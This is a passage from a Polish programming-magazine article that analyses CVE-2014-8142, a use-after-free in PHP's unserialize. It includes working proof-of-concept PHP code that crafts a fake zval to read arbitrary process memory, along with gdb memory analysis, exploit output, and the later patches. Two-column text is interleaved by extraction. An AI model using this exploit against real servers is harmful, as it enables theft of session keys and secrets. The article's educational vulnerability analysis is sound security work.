Przykład takiego obiektu jest zaprezentowany na Rysunku 4 – jest to
wynik serializacji z Listingu 1.

Rysunek 5. Serializacja referencji w formacie PHP

<68> { 3 / 2023 < 108 > }


/ Deserializacja w PHP /

PROBLEM Z REFERENCJĄ DO OBIEKTU zmienić zaślepkę replaceme na firstelem. Ostatnim krokiem jest
deserializacja tekstowego zapisu. W komentarzu na końcu możemy
Jedną z klasycznych podatności w deserializacji obiektów w tym języ- znaleźć wynik wywołania. Okazuje się, że udało nam się odczytać
ku jest CVE-2014-8142 zgłoszony przez Stefana Essera, doświadczo- fragment z pamięci interpretera PHP.
nego programisty PHP, a także badacza bezpieczeństwa. Analiza obiektu po serializacji i modyfikacji została pokazana na
Dostrzegł on, że w serializowanym obiekcie klucz może wystą- Rysunku 6. W momencie rozpakowywania serializowanego obiektu
pić więcej niż jeden raz. W takiej sytuacji PHP zwalnia obiekt, któ- oryginalna tablica firstelem zostaje zwolniona, a wraz z nią napis
ry znajdował się oryginalnie pod zadanym kluczem. Okazuje się, że refobj. W tym momencie refobj odwołuje się do pamięci, któ-
PHP w tym konkretnym momencie nie śledziło referencji. W konse- ra już do niego nie należy (mamy tutaj do czynienia z tzw. sytuacją
kwencji referencja wskazuje na nieistniejący obiekt. use-after-free). System operacyjny ponownie wykorzystał zwolnioną
Spróbujmy odtworzyć błąd CVE-2014-8142, cofając się do roku pamięć, dzięki czemu zmienna refobj umożliwia odczytanie nowo
2014 i korzystając z podatnej wersji PHP. Możemy w tym celu użyć zapisanych tam danych.
docker’a. Wymagane środowisko uruchamiamy za pomocą jednej li-
Listing 4. Nadpisanie referencji obiektu
nii zaprezentowanej w Listingu 3.
<?php
Listing 3. Uruchomienie środowiska docker z PHP
$obj = new StdClass();
$ docker run -ti php:5.4.34-cli /bin/sh $refobj = str_repeat("A", 128);

$obj->firstelem = array(1,2,&$refobj,4,5);
Teraz musimy utworzyć obiekt, który spełnia powyższe założenia. $obj->replaceme = 1;
$obj->dangling = &$refobj;
W tym celu możemy skorzystać z kodu widocznego w Listingu 4. $serobj = serialize($obj);
W pierwszej kolejności tworzymy obiekt dowolnej klasy PHP. My /* Warto zauważyć, że długość nazw
skorzystamy z klasy StdClass – jest to podstawowa, pusta klasa, któ- * obiektu musi być taka sama, inaczej
* musielibyśmy także w serializowanych danych
ra umożliwia tworzenie dowolnych w niej parametrów. Następnie * zaktualizować długość napisu. */
tworzymy 128-znakowy napis. W kolejnym kroku budujemy obiekt, $serobj = str_replace(
"Replaceme",
który zawiera referencję do napisu. Dalej należy dodać kolejny atry- "Firstelem",
$serobj
but replaceme – jest to zaślepka, której nazwę zmienimy potem na );
firstelem. Ten zabieg jest dokonywany po to, aby w obiekcie seria-
var_dump(unserialize($serobj));
lizowanym wystąpiła dwukrotnie deklaracja zmiennej firstelem. /* Przykład uruchomienia:
Gdybyśmy tutaj napisali po prostu zmienną firstelem, to jego orygi- *
* object(stdClass)#2 (2) {
nalna wartość nie znalazłaby się w serializowanym formacie. Na koń- * ["firstelem"]=>
* int(1)
cu ustawiamy zmienną dangling, jako referencję do obiektu refobj. * ["dangling"]=>
Po zakończeniu tworzenia obiektu musimy dokonać jeszczę ręcz- * &string(128) "1Yp‫ܕ‬3Y13‫ݕ‬3X‫ݕ‬3‫ޕ‬3‫ݕ‬3"
* }
nych zmian w nowo wygenerowanym tekstowym zapisie. Musimy
/* REKLAMA */

{ WWW.PROGRAMISTAMAG.PL } <69>
Z ARCHIWUM CVE

?> char *val;


int len;
} str;
/* słownik */
HashTable *ht;
/* obiekty */
zend_object_value obj;
} zvalue_value;

Sprawdźmy zatem, jak ta struktura wygląda dla naszej wersji PHP


w pamięci, ponieważ kompilator mógł dodać na przykład jakieś wy-
Rysunek 6. Obiekt umożliwiający odczytanie fragmentu pamięci
pełnienie (ang. padding). W tym celu możemy skorzystać z dwóch
różnych podejść. Jednym z nich jest zbudowanie PHP wraz z symbo-
lami, innym jest przeanalizowanie dostępnego pliku wykonywalnego.

W GŁĄB CZELUŚCI PHP W tym artykule skorzystamy z drugiej techniki, a wynik analizy wi-
doczny jest w Listingu 7. Przed odpaleniem naszego gdb należy uru-
Okazuje się, że błąd umożliwia znacznie więcej niż tylko wypisy- chomić PHP w trybie interaktywnym (php -a), następnie za pomocą
wanie losowego fragmentu pamięci. Na przykładzie tej podatności komendy ps znaleźć PID (numer procesu) i przekazać go do gdb.
Stefan Esser pokazał technikę zwaną ret2php, która skutkuje zdal- Ilość symboli w naszej wersji PHP jest ograniczona, poszukajmy
nym wykonaniem kodu (RCE, ang. remote code execution). My jed- więc jakiejś funkcji, która operuje na strukturze _zval_struct. Ide-
nak zatrzymamy się o krok wcześniej, a mianowicie na odczytaniu alnym kandydatem jest funkcja zend_zval_type_name (deklaracja
dowolnego fragmentu pamięci. W tym celu należy przeanalizować, pokazana w Listingu 8), jako pierwszy argument przyjmująca do-
co dzieje się w samym silniku PHP w momencie deserializacji. wolną wersję struktury zval. Jeżeli poszukamy w kodzie PHP, gdzie
W tym artykule skupimy się na kodzie PHP 5, ponieważ tej wersji ta funkcja jest wykorzystywana, okazuje się, że jest ona używana na
dotyczy opisywany błąd. Struktury od tego wydania mogły się nieco przykład do raportowania niezgodności typów pomiędzy parame-
zmienić, ale ich znaczenie pozostało takie samo. trem funkcji a przekazaną zmianą. W celu dalszej analizy utwórzmy
Wszystkie zmienne w PHP są reprezentowane przez strukturę breakpoint na tej funkcji. Następnie przywracamy PHP do działania
_zval_struct, zaprezentowaną w Listingu 5. Najważniejsze dla nas za pomocą komendy continue. Kolejnym krokiem jest przejście
zmienne to value i type. Zmienna type określa, jakiego rodzaju dane z powrotem do interpretera i wykonanie instrukcji PHP z LIstingu 9.
zawiera ta struktura. Określamy to na podstawie następujących liczb:
Listingu 7. Analiza PHP za pomocą gdb
» 0 – wartość NULL,
» 1 – liczba całkowita (LONG), # Szukanie użytecznej funkcji PHP
(gdb) info functions zend_zval_*
» 2 – liczba zmiennoprzecinkowa (DOUBLE), All functions matching regular
» 3 – wartość boolowska (BOOL), expression "zend_zval_*":

» 4 – słownik, Non-debugging symbols:


0x006babc0 zend_zval_type_name
» 5 – obiekt,
# Założenie breakpointa i przywrócenie
» 6 – napis. # działania PHP
(gdb) break znd_zval_type_name
(gdb) continue
Zmienna value jest z kolei unią (ang. union) z języka C, która potrafi
# Sprawdzenie pierwszego argumentu
te wszystkie typy przechowywać. Została ona pokazana w Listingu 6. # funkcji
(gdb) x/4gx $rdi
Listing 5. Struktura _zval_struct 0x7efca1aa2c78: 0xa19927e8 0x00007efc
0x7efca1aa2c80: 0x00000005 0x00007efc
typedef struct _zval_struct { 0x7efca1aa2c88: 0x00000002 0x00000006
/* wartość: */ 0x7efca1aa2c90: 0x00000000 0x00000000
zvalue_value value;
/* liczba referencji */ (gdb) x/s 0x00007efca19927e8
zend_uint refcount__gc; 0x7efca19927e8: "test1"
/* typ zmiennej */
zend_uchar type; Listingu 8. Deklaracja funkcji zend_zval_type_name
/* czy istnieje referencja */
zend_uchar is_ref__gc; ZEND_API char *zend_zval_type_name(
} zval; const zval *arg
);
Listing 6. Struktura _zvalue_value
Listingu 9. Instrukcje PHP, które powodują wywołanie funkcji
typedef union _zvalue_value { zend_zval_type_name
/* liczba całkowita*/
long lval; php > $zmienna = "test1";
/* zmiennoprzecinkowa */ php > function test(boolean $arg) {}
double dval; php > test($zmienna);
/* napis wraz z długością */
struct {

<70> { 3 / 2023 < 108 > }


/ Deserializacja w PHP /

Następnie wracamy do gdb i Listingu 7. W momencie przerwania Kod pozwalający odczytać dowolny fragment pamięci procesu
wykonania programu w funkcji zend_zval_type_name sprawdza- zaprezentowany jest w Listingu 10.
my rejestr RDI (pierwszy argument funkcji zgodnie z ABI amd64). Tak jak w naszym planie, tworzymy obiekt tablicy, następnie de-
Zwrócone pierwsze 8 bajtów to adres napisu, który ustawiliśmy klarujemy kolejną zmienną replaceme, której nazwa w serializowa-
w zmiennej $zmienna w PHP (kolor czerwony w Listingu 7). Może- nym obiekcie zostanie zmieniona na first (za pomocą funkcji str_
my odgadnąć, że następną wartością (5) jest długość naszego napisu replace). Następnie tworzymy obiekt binarny w zmiennej payload.
(kolor zielony). Kolejne 4 bajty to prawdopodobnie refcount (kolor Zdecydowaliśmy się stworzyć tutaj obiekt o typie napis ze względu na
fioletowy). Pozostaje nam ustalić, co znajduje się pod bajtami ozna- to, że zawiera on wskaźnik, który PHP w momencie wykonania użyje
czonymi kolorem pomarańczowym, jednakże obserwując strukturę do odczytania bajtów. Pierwszym więc krokiem jest decyzja o tym,
zval, nie jest nam to do niczego potrzebne. Wreszcie wartość 6 to typ jaki adres chcemy odczytać; tutaj wybraliśmy adres, w którym plik
zmiennej (oznaczona kolorem niebieskim, jak wspomniano wcze- PHP jest załadowany (0x400000). Warto zwrócić uwagę, że zakłada-
śniej, 6 oznacza napis). Dzięki tej analizie wiemy już, jak wygląda ta my, iż maszyna pracuje w systemie Little Endian, dlatego wszystkie
struktura i jak sami możemy zbudować jej obiekt. wartości są zapisane w tej notacji. Następnym elementem struktury
W przypadku alokacji/dealokacji obiektów często bywa tak, że zval jest ilość bajtów napisu; możemy ustalić tutaj dowolną ilość
przed chwilą zwolniona przestrzeń zostanie użyta ponownie do alo- bajtów, w naszym przykładzie ustalmy, że chcemy odczytać jedynie
kacji obiektu o podobnym rozmiarze. Fakt ten możemy wykorzystać 8 bajtów z pamięci. W kolejnym kroku dodajemy ciąg samych 0, jest
do exploitacji PHP. Nasz plan ataku został pokazany na Rysunku 7. to część struktury, której nie udało nam się ustalić. Na koniec usta-
W pierwszej kolejności alokujemy jakąś tablicę. W następnym lamy, że struktura jest typu napis. Teraz tworzymy trzeci obiekt, re-
kroku, używając tego samego klucza w słowniku, zwalniamy tę ta- fobj, który ustawia referencję do jednej zmiennej z tablicy. Wartość
blicę. Dzięki tablicy parametrów PHP wciąż posiadamy referencję dziewięć została ustalona na podstawie prób i błędów, natomiast mu-
do obiektów, pomimo tego, że sam obiekt został już zwolniony. Na simy tutaj idealnie dobrać wartości tak, aby wskazać na nasz payload.
Rysunku 7 są one oznaczone jako 1..11, ponieważ każdy element Następnie serializujemy nasz nowo utworzony obiekt, podmie-
w tablicy ma swoją referencje, a dodatkowo sama tablica ma jedną. niając w nim nazwę zmiennej tak, by wymusić dealokację zmiennej
Następnie alokujemy kolejny obiekt. Biblioteka do alokacji ponownie first. W momencie serializacji payload będzie potraktowany jako
użyje przestrzeni, która została zwolniona. Dzięki temu uzyskaliśmy zwykły napis (literka „s”), dlatego ręcznie zmieniamy go na napis
referencję do bajtów znajdujących się w wartości nowego obiek- z interpretacją binarnych danych. Dzięki temu w pamięci na pewno
tu. Jeżeli w ramach wartości nowego obiektu uda nam się stworzyć znajdują się żądane bajty, a nie zapisany tekst. Exploit ze zmiennej
fragment pamięci, który przypomina obiekt PHP (struktura zval), $serobj jest gotowy do użycia. Możemy wykorzystać go do zdalne-
możemy utworzyć do niego referencję za pomocą kolejnej zmiennej, go ataku na serwer, bądź spróbować lokalnej exploitacji. Na końcu
a także wcześniej odłożonych referencji. W ten sposób zawartość Listngu 10 przeprowadzamy eksperymenty lokalnie, poprzez dese-
zmiennej payload zostanie potraktowana przez PHP jako wewnętrz- rializację obiektu, a następnie wypisanie jego zawartości.
ny obiekt, a to umożliwi nam odczytanie dowolnego fragmentu pa-
Listingu 10. Odczytanie dowolnego fragmentu pamięci procesu PHP
mięci lub wykonanie dowolnego kodu.
<?php

$obj = new StdClass();

$obj->first = array(1,2,3,4,5,6,7,8,9,10);
$obj->replaceme = 1;
# address obiektu który chcemy odczytać
$obj->payload = "\x00\x00\x40\x00"
$obj->payload .= "\x00\x00\x00\x00";
# długość bajtów który chcemy odczytać
$obj->payload .= "\x08\x00\x00\x00";
# refcount__gc albo coś innego nie ma znaczenia
$obj->payload .= "\x00\x00\x00\x00";
$obj->payload .= "\x00\x00\x00\x00";
# obiekt jest typu napis
$obj->payload .= "\x06\x00\x00\x00";

$obj->refobj = &$obj->first[9];

$serobj = serialize($obj);
$serobj = str_replace(
'S:9:"replaceme";',
'S:5:"first";',
$serobj
);
$serobj = str_replace('s:32:', "S:32:", $serobj);

$x = unserialize($serobj);
var_dump($x);
?>

Przykład użycia tego skryptu jest pokazany w Listingu 11. Jak widzi-
Rysunek 7. Kroki do exploitacji PHP
my, w zmiennej refobj znajduje się tekst ELF – jest to napis, wyko-
rzystywany na początku plików wykonywalnych w systemie Linux

{ WWW.PROGRAMISTAMAG.PL } <71>
Z ARCHIWUM CVE

i znajduje się pod adresem 0x00400000. Jeżeli przekazalibyśmy wy- je się dwa razy ten sam napis zawierający znaki (na przykład: napis
nik tego skryptu do takiego narzędzia jak hexdump, okazałoby się, „abc”), to nie zweryfikuje już napisów zawierających same liczby
że zostało wypisane tam dokładnie 8 bajtów (pozostałe są po prostu (napis: „123”). Funkcją, którą programiści powinni zastosować, była
spoza zakresu ASCII) – tych samych bajtów, które znajdują się na po- zend_hash_find, która pokryje oba przypadki. Błąd ten został ozna-
czątku pliku binarnego PHP. Dzięki tak spreparowanymu obiektowi czony numerem CVE-2015-0231.
możemy skanować mapę pamięci procesu i wykraść klucze sesyjne,
certyfikaty SSLowe lub inne sekrety znajdujące się w procesie PHP.
PODSUMOWANIE
Listing 11. Wykonanie exploita
Powstaje dużo formatów serializacji/deserializacji danych, często
$ php exploit.php nowe języki programowania tworzą własne formaty dedykowane dla
object(stdClass)#2 (3) {
["first"]=> nich. Innym razem programiści tworzą nowe spersonalizowane dla
int(1) swoich projektów. Jak pokazano w artykule, serializacja danych może
["payload"]=>
string(24) "D" i jest łatwa, ale deserializacja już nie. Łatwo o popełnienie błędu,
["refobj"]=>
&string(8) "ELF"
a przy rozrastającym się szybko projekcie (jak miało miejsce z PHP)
} czasami ciężko dostrzec powiększające się zależności (jak w przypad-
ku specjalnego klucza referencji).

NAPRAWA BŁĘDU Dlatego w naszych projektach powinniśmy starać się korzystać


z dobrze znanych formatów i popularnych bibliotek do tego służą-
Podatność na pierwszy rzut oka może wydawać się dość skompliko- cych. Co prawda nie można wykluczyć ryzyka, że istnieją w nich
wana, co zatem z jej naprawą? Błąd ten został zgłoszony do wersji star- błędy, ale na pewno prawdopodobieństwo ich występowania jest
szych niż PHP 5.4.36, 5.5.20 i 5.6.4 w zależności od odgałęzienia (5.X). ograniczone ze względu na to, że wiele osób przygląda się takim bi-
W pierwszej kolejności programiści silnika PHP zdecydowali się na bliotekom. Napisanie samego kodu do obsługi takich serializowanych
poprawienie go za pomocą łatki zaprezentowanej w Listingu 12. Pole- obiektów w naszej aplikacji nierzadko jest już dużym wyzwaniem.
gała ona na tym, aby sprawdzić, czy dany klucz istnieje już w rozpa- W przypadku PHP, poza błędami w samej implementacji, ist-
kowanych danych i jeżeli tak, to nie usuwać starych danych z pamięci nieją aplikacje, które w niepoprawny sposób wykorzystują funkcje
procesu, dopóki istnieje obiekt (dtor jest skrótem od angielskiego sło- __wakeup/__deserialize, mogące spowodować wstrzyknięcie no-
wa destruktor). wego obiektu bądź wykonanie zdalnego kodu. Te zagadnienia jednak
wykraczają poza ramy tego artykułu – referencje do ciekawych mate-
Listing 12. Pierwsza poprawka do błędu CVE-2014-8142
riałów dotyczących tej materii można znaleźć w Bibliografii.
--- a/ext/standard/var_unserializer.re Obecnie projekt PHP rekomenduje, by obiekty w formacie PHP de-
+++ b/ext/standard/var_unserializer.re
@@ -347,6 +347,12 @@ static inline int serializować, tylko gdy pochodzą z zaufanego źródła, i nie zaleca się, by
process_nested_data(UNSERIALIZE_PARAMETER, PHP serialization format był użyty do komunikacji z użytkownikiem.
} else {
/* object properties should
* include no integers */
convert_to_string(key);
+ if (zend_symtable_find(ht, Z_STRVAL_P(key), Bibliografia
+ Z_STRLEN_P(key) + 1,
+ (void **)&old_data)==SUCCESS) { » PHP Internals Book SERIALIZATION: https://www.phpinternalsbook.com/php5/
+ var_push_dtor(var_hash, old_data); classes_objects/serialization.html
+ } » CVE-2017-5340: https://bugs.php.net/bug.php?id=73832
zend_hash_update(ht, Z_STRVAL_P(key), » CVE-2014-8142: https://bugs.php.net/bug.php?id=68594
Z_STRLEN_P(key) + 1, &data, » Niebepieczna deserializacja: https://redfoxsec.com/blog/insecure-deserialization-in-php/
sizeof data, NULL); » Utilizing Code Reuse/ROP in PHP Application Exploits – Stefan Esser:
} https://owasp.org/www-pdf-archive/Utilizing-Code-Reuse-Or-Return-Oriented-
Programming-In-PHP-Application-Exploits.pdf
» Exploiting memory corruption bugs in PHP (CVE-2014-8142 and CVE-2015-0231) Part
Miesiąc później Stefan Esser zgłosił kolejny błąd dotyczący tego sa- 1: Local Exploitation: https://www.inulledmyself.com/2015/02/exploiting-memory-
mego fragmentu kodu. Okazało się bowiem, że o ile funkcja zend_ -corruption-bugs-in.html

symtable_find sprawdzi, czy w rozpakowanych danych nie znajdu-

MARIUSZ ZABORSKI
https://oshogbo.vexillium.org
Ekspert bezpieczeństwa w grupie 4Prime. Wcześniej przez 8 lat współtworzył i zarządzał zespołem programistów tworzących
rozwiązanie PAM w firmie Fudo Security. W wolnym czasie zaangażowany w rozwój projektów open-source, w szczególności
FreeBSD.

<72> { 3 / 2023 < 108 > }

You might also like